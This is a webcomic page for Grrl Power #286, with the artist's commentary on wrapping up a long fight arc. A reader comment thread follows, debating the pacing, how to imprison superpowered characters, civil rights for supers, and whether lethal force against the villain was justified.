Grrl Power #286 – Aaaand scene
I’d liked to have one more row of panels showing Vehemence slumping to the ground, reverting back to his original size, his armored arm clanking off in strips, showing a regular arm underneath, but yes, the fight is finally over. It feels slightly anti-climactic to me in some ways, but really, the only viable options at this point given their resources were to kill him or talk him down.
I’ll have to do a port mortem on the fight, sit down and reread the whole thing and see where I could have edited it. I certainly didn’t intend for it to last 86 pages. (Actually 107 pages if you count all the double sized pages.) I probably should have cut the Death Toll stuff as it didn’t add anything to the fight that didn’t happen again on a larger scale with Vehemence, and there’s probably a few more things I could have taken out or saved for later to lower the page count, but besides it running longer than I would have liked, I think it went mostly ok, especially seeing how it was my first fight. (And will probably be the only one for a while.) I’ll be glad to get back to the slice of life stuff though, which is really what the bulk of the comic is supposed to be about.
Edit: To clarify: I didn’t mean to imply that I was going to go in and cut pages out of the comic, just that I’d be a little more critical about future pages and make sure they really contribute something, especially if a scene is taking a while to get through. The Death Toll pages did add stuff, mostly humor and as some have pointed out, it showed the team that Sydney’s genre savvy has some value to the team.
This is probably the last double page I do for a while (watch me make a liar out of myself in the next 10 pages :P ) Originally the double pages were intended to let me blow the panels up so I could to better looking action, but mostly what happened was the double pages wound up having 12-18 panels which meant I was really doing 3 pages a week and just posting two of them at once. Sure I like getting more comic out there for everyone, the problem is when I do 3 pages a week, it’s 12-13 hours a day, 7 days a week of drawing, and that leaves me time for little else. I’m sure many of you have noticed the vote incentive has gotten a bit stale for instance, or that my “What I’m Reading” widget has been on the same book for the last 2 months. I’d like to get back to doing more peripheral stuff like the vote incentives, cause they let me expand the world outside of just linear story telling, and the occasional piece of fan art or guest comic would be nice as well. I’ll also need some time to run back through and got to my big list of fixes, mostly art stuff like Maxima’s sudden change in rank, before I can put the book together and set up a kickstarter for that.
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I thought Sydney’s comment to Dabbler (in panel 8) was a bit strange.
But then I looked again. Dabbler’s got her boobs pressed against the shield!
She really does have to flaunt ’em…
And she’s pointing at them. She definitely got my attention (again).
Yeah, Dabbler’s like going to a car wash that includes bikinis…
O.O
(Yes, it deserves both eyes wide open)
Now I want to see Dabbler do a bikini car wash…..Anvil too..
hell! why limit yourself? i’d be glad to go muddin’ in my Elantra, just to have the chance to see ALL OF THEM.
Make it a two lane car wash. You go left you get boys, go right you get girls. They can compete to see who raises the most money to help rebuild the parking lot and restaurant!
You are a mad genius.
Naw, only moderately disgruntled at best.
But…
*puzzled look*
Without the madness, you would lack The Spark? And what use is genius, without that? It would be meaningless and have no purpose!
No drive to make you excel. And no portable volcanoes!
At least they can issue a guarantee to get your car “super” clean! Arianna would love that.
But on the negative side, I think sales in Brain Bleach™ would suddenly drop off…
Unless someone got in the wrong lane.
In that case, I’d probably do well to set up a sales booth at the end of both lines…Just in case.
Just watch Maxima’s head explode when she hears about it.
Dabbler’s first question undoubtedly being something like “But why would anyone put a bikini on a car?”
Some people put a bra on their cars…Just point Dabbler to one of those.
Alright, fight is over. Time for the judges to give there scores.
You get a 9/10 from me, but only because I don’t want you to get lazy.
Seriously, that was very well done.
About your worries. The high number of pages shows that fight scenes are both the forte and the weakness of the comic medium and you set the bar for yourself by having your first big fight with multiple opponents, multiple points of few and multiple indroduction. So your ownly sin in this is that you went to big.
About Death Toll not adding anything to the fight, well you are wrong about that. If anything Death Toll made it believable that anyone went along with Cids plan against Vehemence. You said early on that supers are not commen in this world and that each power is unique, chances are thet is now how to guide to fight supers and even Max as the seasoned veteran seams more of a brawler that a tactitian. We allready knew that Cid, with her geek knowlage was best suited to analyse there opponents but the others didn’t. Death Toll gave them the chance to stand around and talk about it. Vehemence did not.
Ya know, maybe it’s just because I thought V was really interesting as a character, and it seemed like he and Syd were able to communicate and have a little bit of respect for one another, but I wouldn’t be the least surprised if Syd went and visited V while he was in confinement (or whatever). I could see them having a Professor X/Magneto relationship. Work together if they have to, but Magneto/V isn’t above attacking for his own goals.
Just this gal’s thoughts!
h-uh… you might actually have a great point there.
But Charles Xavier constantly tries to save Eric/Magneto. But he’s just too much of a damaged man to be saved.
I don’t think Sydney will go all Xavier on him, but I rather think this will be coming from Vehemence… like Hannibal with Clarice. Although V already showed more respect to Sydney than Hannibal ever did to Clarice.
This actually relates to a serious issue.
How do you lock up supers that see solid concrete as an inconvenience? Marvel and DC use crazy wacky advanced tech to either cancel powers wholesale or dump super villains into an alternate dimension so that ‘escape’ still doesn’t get them anywhere. Our setting here seems to be a bit less fantastical than that.
How do we lock up Teleporters? A man who can put his fist through a building isn’t going to be contained by a steel bars. Speedsters can just shake the place down if they have to, anybody who can shoot energy bolts its going to blow a whole in the wall sooner or later. The list goes on. Capturing supers is a serious issue.
simple put them to sleep
Permanently keeping them unconscious has all sorts of legal problems though. Humans still have rights, even if locked up
You’re assuming that those with superpowers are still considered human for the purposes of civil rights in this universe, which we have heard arguments neither strongly for nor strongly against.
The precedent is already there in US law. Black people can vote.
US law is littered with courts rejecting the idea that you can simply attempt to classify a group as not human/less than human and be excused from treating them fairly. Further US rights are based on citizenship, and limits of actions are placed on Government power.
If you were born there you are a citizen, and what the government is allowed to do or not still doesn’t change. Cruel and Unusual punishment is something the Government isn’t allowed to do, the government may not detain anyone indefinitely, ect. There are no clauses in these limits of power saying “humans only”.
Also, there is no legal test for “are you human” because we’ve never bothered to define it. This places the burden on a prosecutor to prove that Supers are not human if they wish to classify them as other wise. Good luck getting that one through the courts this decade.
Max looks like a gold plated elf, but most of the other Supers look pretty normal (though bruisers seem to get freakishly large). It’s not going to be like deciding if chimps are smart enough that its unethical to do medical testing on them, its going to be a normal, good looking person, standing up in front of a jury asking the prosecution “What exactly makes you think I’m not human? ‘Cause my parents were, and my brother is.” Probably followed by the defense making more Nazi references that a youtube comments political argument.
Comics make use of Super rights issues as a means of political commentary, the same way Star Trek can use aliens to comment on social issues that would otherwise be touchy subjects, but I think in this case, in the real world the issue would really easily solved.
Your argument as a whole works pretty well there, except for the lead. If your explanation was a barfight your first line is grabbing a bottle and breaking it on the bar for a weapon, to instead have it shatter completely and cut your hand. Touching on an emotionally charged subject and then not mentioning it again in the argument is no bueno. Say what you are going to explain. Explain it. Close with a summary.
Agreement in ideas. Groaning in presentation. Constructive crit –no troll bro.
I think you are pressing that point rather unfairly. The history of black* exploitation, as slaves, through their emancipation and the struggle to gain votes and equal rights is widely known and well understood by the general public. Likewise the attempts to classify whites as being inherently superior, and blacks, as thereby sub-human.
As such I feel that it did not need to be explicitly reiterated. The opening line clearly spoke to that issue, and the intent is followed through by the arguments raised in the second and subsequent paragraphs.
The only change, is that it broadened out from the specific cause introduced in the opening line, to cover the gamut of such exploitation, thereby incorporating, by inference, the issue of super-human rights. Choosing to keep the comment shorter, by focussing on the legal issues, rather than getting bogged down in a history lesson.
So it is not reasonable to say that it was not addressed again, it was simply subsumed into the greater, broader argument.
You are correct that it was an emotive opening argument, but, given that it would be a lengthy topic to address, it is fair to have a provocative opening line. Given that it went on to support the issue raised, and that it was central to the topic.
* I use ‘black’ advisedly, as the term ‘African American’ would limit this to being an American issue, whereas I see it as a world wide one. And other terms are too sterile, or wrapped up in irritating political correctness, for me to bother to use.
Until there are laws stating otherwise, they are still regarded as humans. Humans who happen to have extra abilities
And Arianna made it clear that there will be no such thing as registration for supers. That indicates to me that there will be NO laws specificly regarding supers
Actually the US Government has already ruled in court that superpowered mutants are NOT human. Ironically it was ruled in a trade law dispute about the X-men.
https://www.radiolab.org/story/177199-mutant-rights/
Okay, I figured what I said would get some interesting comments, but this is… legitimately scary, even if it is just applied to toys here.
Wow, so by that logic, anybody who could run faster than possible for other humans, due to a mutant gene, is not considered human? That will not go down well with the Kenyan Olympic champions, for a start.
It has been established in comic that super powers are not simply caused by mutant genes though. Noone knows what causes them
A shaped charge attached to the center of their over-muscled backs where they can’t reach it.
“You try to escape and you get a stream of copper plasma through the back”
Couldnt you just smash it against a wall so hard that it breaks?
I assume either an accelerometer or impact sensor as a trigger.
“This court sentences you to death, in the event that you trip and fall. Because that is a heinous crime, which deserves capital punishment!”
if anyone here is not aware of it I submit to you the awesomeness that is the superhero webserial Worm by Wildbow which has an extremely clever setup for containing supers called the Birdcage
Can you provide a link or something that explains it, without revealing major spoilers? I couldn’t find it on the Tropes page, and searching the comic itself pulls op several pages that I don’t want to randomly click through because I think I want to read this comic!
The ‘Birdcage’ had several layers of defense.
Part 1: You break a wall and you get hit with ‘containment foam’ that was kept under pressure within the wall you just broke. There is enough to fill the ENTIRE cell block.
(Like this: https://www.youtube.com/watch?v=dK_OKGELcn0) Start at 2 minutes 5 seconds.
By breaking a wall you have ensured that one of the other mega-criminals you share a block with will end you so they don’t have to experience that again.
Part 2: IF you happen to be able to break the walls without the foam flooding in, outside that the prison is surrounded by a vacuum. No air for you. If that doesn’t bother you, then the patrolling drones with laser cutters might. They are set to kill on sight.
Part 3: Maaaaaaybe someone bent the laws of physics a bit and compacted the entire space you were in to the size of a basketball. I don’t think the author actually confirmed this part, but it was the going theory of everyone inside the story.
This is just what I remember off the top of my head.
It is worth pointing out (vague but possibly significant spoilers ahead), that for all that, (at least) one cape existed that could trivially bypass all those defenses and extract whoever they wished from within.
Point.
The birdcage is not perfectly suited to hold everyone.
Yet consider, anyone who the law manages to capture and place inside the birdcage to begin with does not have the ability necessary to escape.
The extraction you mention involves outside intervention. When you input outside intervention as a variable you change the nature of the problem.
To give a (ridiculous) example: You can break into a prison with a tank, but you will not have a tank inside the prison for someone to escape with.
It was made clear by Maxima at the press conference: As a super using your powers, you either get a badge, or a burial.
I believe the options were “incarcerated, in traction or interred.” That suggests that prison is an option.
Personally, I think the only practical way to contain people with superpowers is something that generally nullifies powers, or at least something that works on everyone. You could make it so they’re normal people while imprisoned ), or you could put the prison in space or at the bottom of the ocean or deep underground or in another dimension (although all these options require amazing tech or magic or someone with superpowers).
Sure, you could use chains that superstrength can’t break, or fireproof tiles or conductive wires to make individual powers useless, but it would be easy for another superhuman to break them out. If we put Vehmence on the top of a mountain to keep him far away from any violence, any superhuman who wants his help could just fly in and break him out. Although he doesn’t look like he has any allies left at this point.
This is not something that exists in the Grrl Power universe, per DaveB himself. Which means that each prisoner will have to be handled in a way which caters for their individual powers.
This need not involve lethal devices, nor cells which are fatal to exit. Several of the villains in this fight (assuming they get prison sentences), could simply be handled by putting them in low-security confinement, under their own recognisance. Even ones who’s powers could, otherwise, easily allow themselves to escape.
Provided they, and their legal representatives, can convince the court that they will not attempt to evade the confinement conditions. Contrast this to the various proposed alternatives that others have been coming up with. Consider the astronomical (nation bankrupting) cost of building prison cells in space, or a hundred miles underground or the impossibility (with our science base) of extra-dimensional prisons or the like.
From the villains point of view, they could be incentivised to cooperate by being offered reductions to their sentences. Plus they will recognise that the quality of life is a lot better in a low security prison than even a high security one. Let alone the even harsher prospect of solitary confinement in a purpose built facility.
But, of course, there are those who the courts would not consider trustworthy. And those will need tailored confinement. Of course, anyone suggesting that magic can be used to help here must realise that the government has not officially recognised the existence of magic. Nor aliens and their super-tech, for that matter.
So techniques which rely on those elements to ensure security would not pass scrutiny by prison inspectors. The basic arrangements will, of necessity, have to come from either our existing technology base, or via acknowledged super powers. Even if this is supplemented, surreptitiously, by magic and/or any Area 51 flying saucer tech, Arc might have squirrelled away.
I dont think a lot of people would see a cardboard prison as a good opportunity to do anything other than escape. Sure, maybe if you were completely committed to reforming after prison you might go for it, but if not, there’s a lot in favour of running. Even if want to reform, just break out and flee the country.
I’m curious as to what DaveB’s idea for this story is. Ruling out the impossible solutions I suggested earlier, you’d have to either provide a good incentive to stay imprisoned, or create specialised cells for every person. Which will be expensive amd won’t prevent someone using a combination of powers to arrange a mass breakout. In the long term, ludicrous space jails start to seem like a sane and cost-effective option.
I may have put too much thought into this, but then I do think it’s an interesting story idea.
Such prisons do exist. However, you are right, some people do abuse the privilege and flee. But the system works well when appropriate profiling is used to minimise the risk of that happening. You would consider offering it to someone who has strong roots in the community and a provable desire to remain a part of it.
You do not even think of putting a death row inmate in such a prison. Likewise, you need to throw the book at any who do abscond. Do not pass Go, do not collect two hundred dollars but go straight to high-security prison. With a few years extra years, for good measure.
Put it this way though. Do you, the taxpayer, want to double the amount of tax you pay, for the next twenty years, to fund all the exotic high-security prisons that may be required? Or would you be happier with a modest increase, and the risk that some of the lower-risk prisoners will need re-capturing?
I can see low security working well for quite a few of the villains (like the hairdresser), particually people who have family and friends that they want to see again (fugitives tend to lose contact) but not so much for the villains like Vector and Opal.
Nothing’s inescapable anyway, particually not in a world of people like Maxima and Vehemence, so I can certainly see cheap and effective solutions being popular. It does depend on how frequent the breakouts are.
She said 4×4, not burial actually :P
And she was talking about vigilanties. Get a badge if you want to fight crime.
It’s fine to use your powers in whatever way you need/want in the private sector, as long as you’re not breaking the law
ah, a 4×4 in my country is a wooden beam which is a square shaped 4xm wide, 4cm thick and usually 2 meters long… used for light constructionwork. And saying they’re getting a 4×4, you’re actually saying you hit hem across the head with it. So I completely mis-interpreted that saying.
I see. Yea here it meant prison
… and in the UK a 4×4 means a SUV, as in 4-wheel drive. But I guessed Maxima meant a cramped room, not a road trip.
Heh, I love it when there are misunderstandings due to cultural differences. Inconvenient though it can sometimes be, it still amuses me when I come across them.
Mind you the very real possibility of mistranslations is why I insist on only dealing with medical personnel who are fluent in English, despite living in a foreign country. I would not be amused to find out that the Bulgarian phrase “I want aesthetic” turns out to be phonetically similar to “I want to be castrated”.
Especially as the likely queries may not pick up the issue.
“Are you sure, that is very unusual?”
“Absolutely! I know you are all very tough men out here, but I cannot carry on like this anymore!”
“Well (anesthetic/castration) is not something that we normally perform here. But we do know how to do the procedure, if you will agree sign a waver?”
“Yes yes, just put me under as quickly as possible”
Here a 4×4 in building is 4 inches by 4 inches so for you it’d be 10.2×10.2. Standard for load bearing beams in most houses in my area. But then winds of 40-80 MPH+ aren’t uncommon during a summer storm here, much less when a hurricane comes North from the Gulf..
The cultural oddity which sprang out at me, when staying in the U.S., was how prevalent timber houses were. In a hurricane zone! Whereas, in the U.K. brick built is standard. We do have some trailer-park prefabricated housing, but they are few and far between. And nothing like the scope of those in the U.S.
I know that they are built with hurricanes in mind, in the appropriate regions, but it still does not inspire confidence. Especially when living in one, and seeing Hurricane Katrina bearing down on you!
yeah, for here prefab/”Mobile Homes” have to be able to withstand sustained winds of at LEAST 75 MPH. Not much besides a lot of steel and stone will survive a class 5 hurricane and as some cities saw a couple years ago, a skyscraper doesn’t stand too well against a high-level tornado.
I could definitely see Syd and V having little “talks” with each other. And I also believe that the “Death Toll” fight WAS necessary.
No! Don’t listen to the haters! (Don’t listen to ‘Shake It Off’ either, but that’s another problem.) This battle was GREAT. Well drawn, intricately plotted, chock full of detail, loaded with fascinating characters, and hilarious on every page. IMHO, there is not anything that needs to be removed. The ‘Death Toll’ piece is necessary to the overall battle, and full of entertainment. Jabberwocky vs. Math? I would have been happy with three times as much on that battle. Keep everything! Then add in some new greatness for the book, just to provide yet another incentive to buy it.
[Disclaimer: I write ridiculously long stories with long battles, so I may have a distinct bias here.]
THE Diane Castle? DaveB’s goodness sure lures all the best sorts of Whateley folk here. I’d have left there a lot earlier if not for your awesomeness. The best kind of details. Best of everything really.
Dave, where did you come up with her spell? Sava Lava Cuti/Cuii ?
Cuti. A quick google should answer that for you. :)
Hecubus is best demon servant.
Breaking lurker status to first say I’ve really enjoyed the entire battle, and the comic, it’s one of the first things I check for on Monday and Thursday.
It looks to me like Vehemence is trying not to smile in panel 12. Not like he’s got another plan, but more that he’s trying not to smile at Sydney’s geekery while accepting the defeat.
He is smart enough to know he has been outplayed. Sydney’s intelligence has been impressing V at least mildly since they met. So he figures he has been done in by a worthy opponent.
I have to say, well done. I had no idea that this fight had gone on so long, and even after I read your comment about how many pages this was, I had to look through the archive before I believed you.
So again, well done, it’s not often that I read DBZ fights without knowing.
I love the fact that “soliloquies are a free action” has carried over so nicely to real life. (in-comic real life that is)
It is one of the genre tropes that I approve of Dave running with, rather than binning. It allows a battle of words and wit, in parallel to the action. Despite the fact that getting a stopwatch out and comparing dialogue, to the action it is meant to match to, creates discrepancies of minutes.
Of course it will create hell for the director, when Grrl Power the Movie is made. But finding ways to adapt material for a new medium is part and parcel of why they get the big bucks.
Althoug it’s not like there’s a battle raging at this point. Vehemence does want to hear the offer Sydney’s making, he is in a rather uncomfortable position.
Even so, in some places where there was quite a bit of dialogue, the action also calmed a bit. That demonstrates that excessive dialoguing may also be putting “mini-breaks” in between “flurries of battle.”
I don’t mind this type of ending. IF I had a problem, it would have more to do with V’s powers making this ending seem close to impossible if he’s conscious (he can pretty much do anything while thinking clearly and at the end there he is thinking clearly… ) than the peaceful take down/surrender itself.
I like details and all the time for extra little funny bits you took. I like the way you do things. This balance of desires between taking some things serious and letting other things be wacky within reason. Its like M.A.S.H. meets the Justice League or something (forgive me, I rarely read comics outside the web. Its actually more like Legion of Nothing meets M.A.S.H. with some Looney Tunes always lurking at the edges waiting to pounce I guess?). Its refreshing.
Death Toll was necessary for the reason every one already stated. It makes Sydney’s eventual take over of the team less odd by a lot. Without it the comments would have started rocking a lot more when she started telling everybody what to do suddenly. Much better this way.
The reason the fight is so long is because you were really introducing and fleshing out fairly new hero characters on the fly in the middle of the fight while simultaneously throwing a ton of new villains at us. You showed us a lot more of who they were instead of telling us. There is nothing wrong with that. Its the best really just not easy to pull off well (good job!). The only way to avoid it would have been to not have the big fight until later which is probably why a lot of folk don’t have it early on. You did something cool and bold and it actually worked out great. The fight up to a certain part of V is perfectly wonderful. I would have liked to have seen more of the pre-V fight actually. It was great and we were all having a great time down in the comments with it as far as I could tell. What with trying to guess if the squirrel was a part of the same evil conspiracy that the rabbit back in Lincoln’s day was!
Seriously, you did great. You wouldn’t want to edit any of that early part of the fight you would want to add to it if anything. Great fun.
If you were to edit anything (and I know you aren’t going to and that’s perfectly fine), just IF, it would probably be things like V’s Ka-Pants (which comes off more like a real and confounding power then Sydney’s imaginary pom-poms did which appeared for the super deformed anime humor bit and then disappeared into the imaginary land from which they came when not making people laugh) and a few out there power things mostly centered around V like that. And at least one but probably a whole bunch of people who read this are going to feel the urge to tell me how wrong I am with that so you managed to please a lot of people either way. :) And it may all make a ton of sense some day as we learn more about V in some future story anyway in which case I will happily do a complete about face on my current opinion. (We are at the end of the fight were you said I would understand it better? Unless it is in the wrap up we still don’t have much reason for what V can do. )
I love how much Sydney is enjoying doing the same kind of speechifying to V that he has been periodically throwing out to them all fight. Probably had trouble focusing on The Plan as the parts of her mind working on her speech kept wiggling in and Batman.
The two hands coming for him like Yin and Yang is a great visual. In the second to final panel he looks like Dabbler is giving him some kind of Absolution. I wonder if that was on purpose.
*looks up at wall of text* Aaand no one is going to read that now… which is maybe for the best. heh *submit*
good post, actually… Lenthy, but well thought out
Aaaaw thanks. That makes it all worth while.
I am most proud of the part where I saw the way Dabbler looks like she is giving V absolution or something. Reminds me of when Joss Whedon had The Companion Inara Serra do the same for Shepard Book in Firefly when he was upset about his part in the death that had occurred earlier. If it was on purpose it was all kinds of artistic and shiny.
Thanks for reading my massive blah blah. :)
I reads it too! With interest.
:D
the ka-pants is a real power… a transfer of his power (ie energy) to mater with an awesome reference to another (web)comic. It served to demonstrate his power (literally so powerful that he could give himself temporary powers at will) and to keep the comic from becoming NSFW at the same time.
Yeap, that’s exactly what is wrong with it (to me). Its basically a limited wish power he gets. I just mentioned it the way I did because some people’s defense of it is that its a joke and its OK to make up a “joke power” for a joke but to me it doesn’t come off any where near the same as the last time a character was able to produce a temporary item for a joke. That’s purely my opinion. Some feel that this is exactly the right level of humor intruding on the “reality” of the comic.
Then by that logic, we would also have been denied seeing Sydney & her “serendipitous tumbleweed power” when Max & V first faced off, but she didn’t have during the press conference when she wanted it.
Ooookaaaay, you know her disappointment at the first failure to tumbleweed caused her to fake it with the Light Hook the second time right? A power she already had?
I know you’re just messing with me somehow… I just… you are right?
perhaps KA-Pants is just a careful use of his healing+ power. I say healing plus because he heals back differently than he started. So the Ka-Pants might be his skin regenerated into a smooth cloth like surface, similar to his arm now being metal with electro-crystals.
In Dave’s blog under the comic, he says that Vehemence did actually regenerate flesh to replace his missing parts, but also “conjured” metallic armoring to cover it. But I think he also needs to show it (or at least a speech-bubble exposition that mentions it) in the comic, otherwise a lot of context gets lost.
Or is it more like shedding an exoskeleton when your body has changed too much to fit it? Except this case due to shrinkage instead of growth. His eye certainly seemed different rather than metallic. Will part of the eye slough off as well or just transform to its lesser state? I think maybe we are just supposed to view this as a natural part of V’s body he can’t maintain at lower energy levels so it is shed. I don’t think we are supposed to think of it as an artificial shirt or something man made and then discarded.
I agree with everything.
Specially the part about adding things for the book. That’s how you get people to buy your book (except the big fans who will buy it anyway). Add some extra stuf.
I especially like the idea of adding the bonus comic that came after this one: https://www.grrlpowercomic.com/archives/457 for the book. The one that was vote incentive at the time, about Sydney fooling around with the locked tube (and Maxima yelling about what her plan at the bank was, since she couldn’t have accessed the orbs anyway). That page was awesome, and the new readers have never seen it
Sounds great. I mean, not for me obviously, since I’m poor but really great for those fans who can afford to help keep Dave financially above board in the future. (for me its sort of bittersweet. I can’t see purchased stuff but its helping keep up the comic I CAN see. So that’s good)
Ah don’t cut the Death Toll stuff! That fight wasn’t about the fight, it was about establishing Sydney’s ability to identify the nature of a threat and counteract it. So when she starts issuing orders in the last stages of the Vehemence fight it makes sense.
Long nap or the Big Sleep? Excellent way to settle the issue. Detail of the day: panel 2 as V restarts his electric shock, the crystal on the back of his hand, that Max crushed, is only sparking. Funniest: panel 8 Sydney and Dabbler’s dialogue. Bonuses: Jiggawatt’s unfortunate position. V took his medicine with some style.
You mean the fact she’s upside down, playing Twister with the crystals, or straddling Max’s arm? =P
Both, mostly the latter. Her spacial orientation even in lightning form is shot thanks to her punctured eardrums.
Holy cow! Maxima actually got hurt.
Yep, she had to downgrade her armor to be strong enough to pin him.
Maxima needs to remember to correct Sydney’s grammar when it won’t trigger her ADD taking them off on a tangent while dealing with a villain, Timing, Maxima, timing.
Sydney nerdy comments are going viral!
Soon the whole team will be throwing around nerd corrections
Good luck with that, Max! who knows what twists & turns Sydney’s mind is capable of?
“The Shadow knows…”
~LaMont Cranston
After 10 minutes with Sydney he would be curled up in the corner sobbing.
It IS possible to know too much for a person’s sanity…
Am I the only one that read the spell as savalavacoo?
*slaps the author/artist hands reaching for the scalpel to edit out those pages* No! Bad Dave! Those scenes are just fine; they give characterization, a spot of humor, and several swift jabs and kicks to the comic trope superhero/supervillain naming conventions. AS THEY SHOULD. *smacks yer fingers again* They STAY in the story!
Hey now. He hasn’t gone full George Lucas yet.
O_O
Please, for the love of all things holy (or infernal in Dabbler’s case) Do not go George Lucas on us. The last thing we need is obscene “aesthetic” modifications and un asked for explanations!
I was actually fully alright with holocrons/ etc…. but, really… Jar-Jar Binks? A rastafarian descendent (or prescendent) of Bugs Bunny?
ugh.
Have you ever seen Robot Chickens send up of Return of the Jedi,
It actually makes Jar-Jar look interesting.
Once you realise that Lucus just did unfavourable editing, and that General Jar-Jar was actually the military genius who kept the entire rebellion from failing, you see him in a totally new light.
Re above,
Hail Darth Jar-Jar
Check my comment under the comic, I’ve added a bit to clarify what I meant.
You know, it shows some MASSIVE, and I mean truly MASSIVE, trust on Vehemence’s part to let himself be rendered so totally vulnerable especially after Maxima’s ‘I’m just gonna murder him if you haven’t got a plan’ comment (because it is murder even for police or military to kill someone who’s restrained).
I don’t really see it that way. He entered a fight with soldiers, knows that Maxima held back on him the ENTIRE fight allowing him to build power, when she finally did acknowledge his threat she blew off his arm instead of his head, and even now after announcing his intent to kill her is giving Sydney a chance to utilize a non-fatal solution.
I think you’re kind of missing that he wasn’t engaging in lethal combat, even warned them that they should give medical care to someone, Maxima threatened to kill him first and demonstrated she intended to escalate to that point leaving Vehemence with reason to want her dead just to survive and then she stupidly declares she’d rather just kill him WHILE SYDNEY IS TRYING TO GET HIM TO SURRENDER. Think you’d be surrendering instead of doing your best to find some way to get free, putting yourself in the hands of someone who’d just seconds before declared they’d rather just kill you while you’re restrained?
Many of the things he did were potentially lethal, he tried to pull back enough to make death less likely, but he knew these things could kill people. Not to mention setting up the initial fight where the villains were going all out and then altering their minds so that they fought each other randomly as strongly as they could (lethally ). ( “I hope she [Sydney] doesn’t die.” he knew… )
Max tried more than once to get him to surrender or face lethal force. First he ignored her then after she finally showed a willingness to go all the way if he FORCED HER he decided she was serious but he still believed he had a solid chance to win it all so he went with plan B: just kill Maxima.
Maxima’s threat of death if he didn’t surrender was a part of Sydney’s demand that he surrender. Sydney wasn’t asking. Maxima just jumped in a bit early with her threat or in this case rethreat since actually if she had carried out on her earlier promise he would already be dead showing that she doesn’t really want to kill him. And V knows that.
Vehemence has limited wish powers as soon as he thinks clearly enough to focus on a plan to push his power into. With that in mind his level of restraint is relative (he’s more than a body at this point). He essentially has a huge friggen gun in his hand right now and only has to focus enough to lift and point it. The incredibly dangerous lengths these gals, Max included, are going to in order to save his sorry ass are amazing. He should have been dead the moment Max could get a hand to his head.
Its hard to say what his thought processes are like when strangled, drowned and I should think scared but if he’s thinking he knows this and has known some of it all along. They want him alive. He’s worth more to them that way. (though the people that have to keep him prisoner probably won’t thank them. )
If V was merely a random guy engaging in some little vandalism, then yeah, death threats wouldn’t be necessary. V, however, is a super powered brute who escalates violence at a level that can trash buildings. Even if he didn’t intend to kill someone, the collateral he causes can and will kill someone, and he had no intention of stopping. The scope of his abilities alone required extreme measures, and given how little effect playing nice did to deter him, Max was well within reason to limb him, and equally within reason now to blow his head off.
If he was a man with a gun, he’d be lucky to get hit in the arm by a cop instead of somewhere more vital.
They’ve got him on at least a couple of attempted murders already. Imagine him as a guy with a knife /gun. You’ve got him barely under control after he tried to stab/shoot you and others before, but he’s still armed. If you say “if you keep trying to stab/shoot us, we’ll kill you, do you understand?” and he goes back to trying to stab/shoot you, then you are well within your rights to self defense him in the back of the head.
That was the threat.
.Exactly.
In the case of restrained in the case of police or military, it would be more a matter of unable to pose a threat. In the case of Vehemence, it would be closer to having somebody with a suicide vest and telling them that they will be killed if they don’t move their hands away from the trigger. Vehemence did say that he was going to kill Maxima. He also said that he was going to commit more mayhem if he got away, violence of a type that was likely to cause death.
It was also possible that Maxima was playing bad cop. Vehemence is not the kind of person you can intimidate by threatening him with a birthday party. If Sydney doesn’t have a plan, Sydney is unable to make Vehemence surrender. I think that Vehemence has gone well past the point where both police and military would view lethal force as authorized.
You mean telling someone with a trigger that will set off remote explosives in a populated area that they will die if they don’t hand over the trigger. Threatening someone in a suicide vest with death would be hilarious though. Well, for a second before they went boom anyway. (you would probably get a raised eyebrow look right before they pushed the button.)
Vehemence also said ‘just kidding, got no interest in doing all those thing they’re just what a super-villains expected to say’. He then explained that Maxima’s taking thing to lethal levels didn’t leave him any choice but to kill her because if he didn’t after he’d left and powered down if she caught him like that she’d kill him while he was helpless and at that point survival took precedence.
For which none of that negates the fact that he’s still displaying massive amounts of trust surrendering which will guarantee he can’t defend himself if Maxima decided to kill him anyway, unlike where he was at where he’s massively powered up and could potentially survive her trying to vaporize his head particularly knowing it was something she was considering doing. Few people would be willing to render themselves so vulnerable and would keep fighting to the bitter end simply because that gives them a chance at survival by fighting and escaping potentially instead of handing themselves over to someone who stated ‘I’d rather just reduce his head to ash’, which is a terribly cold-blooded thing to say and Maxima’s serious about it. She clearly isn’t happy that someone exists who can under certain conditions like those we’ve seen exceed her in power when she’s used to being at the top.
When did she say “I’d rather just reduce his head to ash?”
She said “If you don’t have a plan here then I’m going to [kill him].”
And it doesn’t matter what he said. They can’t really trust what he’s been saying. He’s already apparently lied to his own “friends.” But what he’s been doing is pretty relevant. He’s attempted to murder or engaged in illegal activities that could/should/would result in multiple deaths, was still very much “armed,” and was seconds ago still resisting arrest/refusing to stop trying to kill or get people killed. Given all that and that apparently even while dogpiling him they were having trouble holding on. Then yes, if there was no plan to subdue him she’d be well within her rights to kill him. Police, military, civilian, wouldn’t matter, it’d be self defense as well as the defense of the public.
And I’ll look it up but I’m pretty sure V basically said “I’m going to kill you because you’re powerful enough to be a threat to me.” Which doesn’t sound much like self defense to me.
They can’t trust Vehemence because he IS a self serving super powered dose of Ultra Violence.
But, they can trust his survival instinct. Vehemence IS a big threat, but he’s also smart enough to know that he’s better off staying away from Maxima/Halo/The Rest of the Team.
I’m not sure how much Vehemence will want to tangle with the Team again. If I were him, and if I were writing him, everything in my view on how he’d act would give him two main options.
1: Leave, and stay away, if possible, coming back to HELP in a bad/violent crisis, with option to knock Maxima out, just for the joy of punching her out once everything else is done.
2: Come back for revenge against the humiliation of being taken down by Sydney’s plan, and try to take Sydney and Maxima down a peg.
But it still feels like he’s not going to be a major problem, as he’s smart enough to stay away, and will likely figure out that helping in a crisis will let him get more satisfaction than trying to take the team down again.
For Peres sake … No, he’s not going to be part of the team. I really hope we see very little of him.
Something Sydney will be saying, with a disgusted expression on her face, to her therapist.
@Nightmask
For a start, what if he’d been “just kidding” about the “just kidding”?
For seconds, making serious threats, then suddenly saying “Just kidding” afterwards simply doesn’t cut it as an excuse.
Try telling someone, anyone, in a confrontation that you are going to do all manner of horrible things to them, their loved ones, their house pets and whatever else of theirs you can find, then cap it off with “Just Kidding”. Is the other person going to say, “Oh, well, that’s all right then.” and forget about it? I sincerely.doubt it.
Legally, same thing.
V made what I believe is called ‘a credible threat’. He is provably capable of following through on what he said – or at least of making a fair attempt at it. Again, saying “Just Kidding” afterwards doesn’t make it all go away.
Trust? V was simply given two choices: surrender or die. He was simply in what amounts to a no-win situation where resisting even a bit means instant death. By surrendering, he ‘might’ have a chance to see another day, while fighting back gives him no chance of leaving alive. It’s not a matter of trust as much as it’s a matter of having no choice. And frankly, he was given many chances to surrender given he, non-lethal or not, he was gonna continue his rampage just to get his high. He should’ve had his head blown off right there.
